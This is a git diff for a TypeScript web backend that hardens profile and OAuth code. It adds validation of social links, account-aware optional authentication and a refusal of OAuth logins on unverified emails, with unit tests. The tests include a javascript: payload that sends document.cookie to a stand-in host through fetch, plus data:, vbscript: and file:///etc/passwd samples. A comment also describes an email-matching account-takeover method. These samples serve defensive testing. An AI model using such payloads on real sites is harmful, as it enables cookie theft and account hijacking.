0000000..c4c15fb --- /dev/null +++ b/src/core/use-cases/shared/profile/social-links.ts @@ -0,0 +1,71 @@ +import { BadRequestError } from "@core/errors"; + +/** Schemes a link on a profile may use. */ +const ALLOWED_PROTOCOLS = new Set(["http:", "https:"]); + +/** Longest platform name accepted as a key. */ +const MAX_KEY_LENGTH = 20; + +/** Longest link accepted. */ +const MAX_VALUE_LENGTH = 300; + +/** Most links one profile may carry. */ +const MAX_LINKS = 10; + +const KEY_PATTERN = /^[a-z][a-z0-9_]*$/; + +/** + * Checks the links a profile carries before they are stored. + * + * `format: "uri"` in the schema is not this check. RFC 3986 asks for *a* + * scheme and nothing more, so `javascript:`, `data:` and `vbscript:` all + * satisfy it - and this is the one field on the platform explicitly typed as a + * URL, which is exactly the field a client will render as an `href` without + * thinking. A profile is public, so anything stored here is served to anyone + * who asks. + * + * The keys are constrained too: they are platform names, and an unbounded + * record of arbitrary strings is a place for somebody to keep whatever they + * like at everyone else's expense. + * + * @param socials - The links submitted, if any + * + * @throws BadRequestError - When a key, a link or the count is unacceptable + */ +export function assertSafeSocialLinks( + socials: Record | null | undefined, +): void { + if (!socials) return; + + const entries = Object.entries(socials); + + if (entries.length > MAX_LINKS) { + throw new BadRequestError( + `A profile may carry at most ${MAX_LINKS} links.`, + ); + } + + for (const [key, value] of entries) { + if (key.length > MAX_KEY_LENGTH || !KEY_PATTERN.test(key)) { + throw new BadRequestError(`"${key}" is not a valid link name.`); + } + + if (value.length > MAX_VALUE_LENGTH) { + throw new BadRequestError(`The link for "${key}" is too long.`); + } + + let protocol: string; + + try { + protocol = new URL(value).protocol; + } catch { + throw new BadRequestError(`The link for "${key}" is not a URL.`); + } + + if (!ALLOWED_PROTOCOLS.has(protocol)) { + throw new BadRequestError( + `Links must be http or https; "${key}" is not.`, + ); + } + } +} diff --git a/src/http/controllers/profile.controller.ts b/src/http/controllers/profile.controller.ts index 42d094e..ba79155 100644 --- a/src/http/controllers/profile.controller.ts +++ b/src/http/controllers/profile.controller.ts @@ -86,8 +86,13 @@ export class ProfileController { const body = request.body; await this.updateProfileUseCase.execute({ - userId, + // Identity last. Nothing exploitable reaches here today - the + // schema sets `additionalProperties: false` and AJV strips the + // rest - but this use case authorises on `input.userId`, so a body + // supplying its own would satisfy that check rather than fail it, + // and the ordering should not be the thing standing in the way. ...body, + userId, }); reply.status(204).send(); diff --git a/src/http/routes/profile/profile.routes.ts b/src/http/routes/profile/profile.routes.ts index 5de21aa..f1efdb7 100644 --- a/src/http/routes/profile/profile.routes.ts +++ b/src/http/routes/profile/profile.routes.ts @@ -42,7 +42,7 @@ import { } from "@typings/schemas/profile/suggested-users.schema"; import { Type } from "@sinclair/typebox"; import { ResponseSchema } from "@typings/schemas/create-response-schema"; -import type { FastifyInstance, FastifyRequest } from "fastify"; +import type { FastifyInstance } from "fastify"; const UploadAvatarResponseSchema = ResponseSchema( Type.Object({ avatarUrl: Type.String() }), @@ -113,11 +113,11 @@ function profileRoutes(fastify: FastifyInstance): void { response: { 200: SearchProfilesResponseSchema }, tags: ["Profile"], }, - onRequest: async (request) => { - if (request.headers.authorization) { - await request.jwtVerify(); - } - }, + // `optionalAuthenticate` rather than a bare `jwtVerify`: the + // decorator also re-reads the account row, so a suspended or + // deleted account stops being treated as signed in here the way + // it does everywhere else. + onRequest: [fastify.optionalAuthenticate], }, profileController.searchProfiles.bind(profileController), ); @@ -133,11 +133,9 @@ function profileRoutes(fastify: FastifyInstance): void { response: { 200: GetProfileResponseSchema }, tags: ["Profile"], }, - onRequest: async (request: FastifyRequest) => { - if (request.headers.authorization) { - await request.jwtVerify(); - } - }, + // See the note on /search: the decorator re-reads the account row, + // so a suspended account stops being treated as signed in here. + onRequest: [fastify.optionalAuthenticate], }, profileController.getProfile.bind(profileController), ); @@ -184,11 +182,11 @@ function profileRoutes(fastify: FastifyInstance): void { response: { 200: SuggestedUsersResponseSchema }, tags: ["Profile"], }, - onRequest: async (request) => { - if (request.headers.authorization) { - await request.jwtVerify(); - } - }, + // `optionalAuthenticate` rather than a bare `jwtVerify`: the + // decorator also re-reads the account row, so a suspended or + // deleted account stops being treated as signed in here the way + // it does everywhere else. + onRequest: [fastify.optionalAuthenticate], }, profileController.getSuggestions.bind(profileController), ); diff --git a/src/infrastructure/external/google-auth.service.ts b/src/infrastructure/external/google-auth.service.ts index a56899e..24836bf 100644 --- a/src/infrastructure/external/google-auth.service.ts +++ b/src/infrastructure/external/google-auth.service.ts @@ -78,6 +78,10 @@ export class GoogleAuthService implements GoogleAuthPort { ); }); + // `verified_email` comes from the userinfo endpoint; treat anything + // that is not an explicit true as unverified. + const isEmailVerified = googleUser.verified_email === true; + const derivedUsername = googleUser.email .split("@")[0] .toLowerCase() @@ -87,6 +91,7 @@ export class GoogleAuthService implements GoogleAuthPort { email: googleUser.email, username: derivedUsername, providerAccountId: googleUser.id, + isEmailVerified, }; } } diff --git a/tests/unit/core/use-cases/oauth/github-login.usecase.test.ts b/tests/unit/core/use-cases/oauth/github-login.usecase.test.ts index d8506ce..bf21133 100644 --- a/tests/unit/core/use-cases/oauth/github-login.usecase.test.ts +++ b/tests/unit/core/use-cases/oauth/github-login.usecase.test.ts @@ -1,4 +1,5 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; +import { UnauthorizedError } from "@core/errors"; import { GithubLoginUseCase } from "@core/use-cases/oauth/oauth-github"; import type { GithubAuthPort } from "@core/ports/services/github-auth.port"; import type { IUserRepository } from "@core/ports/repositories/user.repository"; @@ -163,4 +164,19 @@ describe("GithubLoginUseCase", () => { 60, ); }); + + it("should refuse a login on an address the provider has not verified", async () => { + // The flow matches an existing account by email alone, so an + // unverified address is a way into somebody else's account: register + // at the provider with their address, authorise, and be handed their + // session. + vi.mocked(githubAuthService.getUserProfileByCode).mockResolvedValue({ + ...mockProfile, + isEmailVerified: false, + }); + + await expect(useCase.execute({ code: "code", delivery: "cookie" })).rejects.toThrow(UnauthorizedError); + + expect(userRepository.findByEmail).not.toHaveBeenCalled(); + }); }); diff --git a/tests/unit/core/use-cases/oauth/google-login.usecase.test.ts b/tests/unit/core/use-cases/oauth/google-login.usecase.test.ts index 5a8623d..0d45fde 100644 --- a/tests/unit/core/use-cases/oauth/google-login.usecase.test.ts +++ b/tests/unit/core/use-cases/oauth/google-login.usecase.test.ts @@ -1,4 +1,5 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; +import { UnauthorizedError } from "@core/errors"; import { GoogleLoginUseCase } from "@core/use-cases/oauth/oauth-google"; import type { GoogleAuthPort } from "@core/ports/services/google-auth.port"; import type { IUserRepository } from "@core/ports/repositories/user.repository"; @@ -12,6 +13,7 @@ const mockProfile = { providerAccountId: "google-456", username: "googleuser", email: "googleuser@example.com", + isEmailVerified: true, }; describe("GoogleLoginUseCase", () => { @@ -104,7 +106,7 @@ describe("GoogleLoginUseCase", () => { expect(userRepository.createWithOAuth).not.toHaveBeenCalled(); }); - it("should create new user with isEmailVerified always true", async () => { + it("should carry the provider's verification flag onto the new account", async () => { vi.mocked(userRepository.findByEmail).mockResolvedValue(null); vi.mocked(userRepository.findByUsername).mockResolvedValue(null); vi.mocked(cryptoService.generateRandomHex).mockReturnValue( @@ -163,4 +165,19 @@ describe("GoogleLoginUseCase", () => { 60, ); }); + + it("should refuse a login on an address the provider has not verified", async () => { + // The flow matches an existing account by email alone, so an + // unverified address is a way into somebody else's account: register + // at the provider with their address, authorise, and be handed their + // session. + vi.mocked(googleAuthService.getUserProfileByCode).mockResolvedValue({ + ...mockProfile, + isEmailVerified: false, + }); + + await expect(useCase.execute({ code: "code", delivery: "cookie" })).rejects.toThrow(UnauthorizedError); + + expect(userRepository.findByEmail).not.toHaveBeenCalled(); + }); }); diff --git a/tests/unit/core/use-cases/shared/profile/social-links.test.ts b/tests/unit/core/use-cases/shared/profile/social-links.test.ts new file mode 100644 index 0000000..e25d237 --- /dev/null +++ b/tests/unit/core/use-cases/shared/profile/social-links.test.ts @@ -0,0 +1,76 @@ +import { describe, expect, it } from "vitest"; +import { assertSafeSocialLinks } from "@core/use-cases/shared/profile/social-links"; +import { BadRequestError } from "@core/errors"; + +describe("assertSafeSocialLinks", () => { + it("should accept ordinary links", () => { + expect(() => + assertSafeSocialLinks({ + github: "https://github.com/ada", + website: "http://ada.example", + }), + ).not.toThrow(); + }); + + it("should accept nothing at all", () => { + expect(() => assertSafeSocialLinks(undefined)).not.toThrow(); + expect(() => assertSafeSocialLinks(null)).not.toThrow(); + expect(() => assertSafeSocialLinks({})).not.toThrow(); + }); + + it("should refuse a script scheme", () => { + // `format: "uri"` in the schema accepts this: RFC 3986 asks for *a* + // scheme and nothing more. A profile is public, and this is the one + // field a client will render as an href without thinking. + expect(() => + assertSafeSocialLinks({ + website: "javascript:fetch('https://evil.tld?t='+document.cookie)", + }), + ).toThrow(BadRequestError); + }); + + it("should refuse other non-web schemes", () => { + for (const value of [ + "data:text/html;base64,PHNjcmlwdD4x", + "vbscript:msgbox(1)", + "file:///etc/passwd", + ]) { + expect(() => assertSafeSocialLinks({ website: value })).toThrow( + BadRequestError, + ); + } + }); + + it("should refuse something that is not a URL at all", () => { + expect(() => assertSafeSocialLinks({ website: "ada.example" })).toThrow( + BadRequestError, + ); + }); + + it("should refuse a key that is not a platform name", () => { + for (const key of ["", "Has Spaces", "1st", "a".repeat(21), ""]) { + expect(() => + assertSafeSocialLinks({ [key]: "https://ada.example" }), + ).toThrow(BadRequestError); + } + }); + + it("should refuse an unbounded pile of links", () => { + const many = Object.fromEntries( + Array.from({ length: 11 }, (_, i) => [ + `site${i}`, + "https://ada.example", + ]), + ); + + expect(() => assertSafeSocialLinks(many)).toThrow(BadRequestError); + }); + + it("should refuse a link longer than the cap", () => { + expect(() => + assertSafeSocialLinks({ + website: `https://ada.example/${"x".repeat(300)}`, + }), + ).toThrow(BadRequestError); + }); +});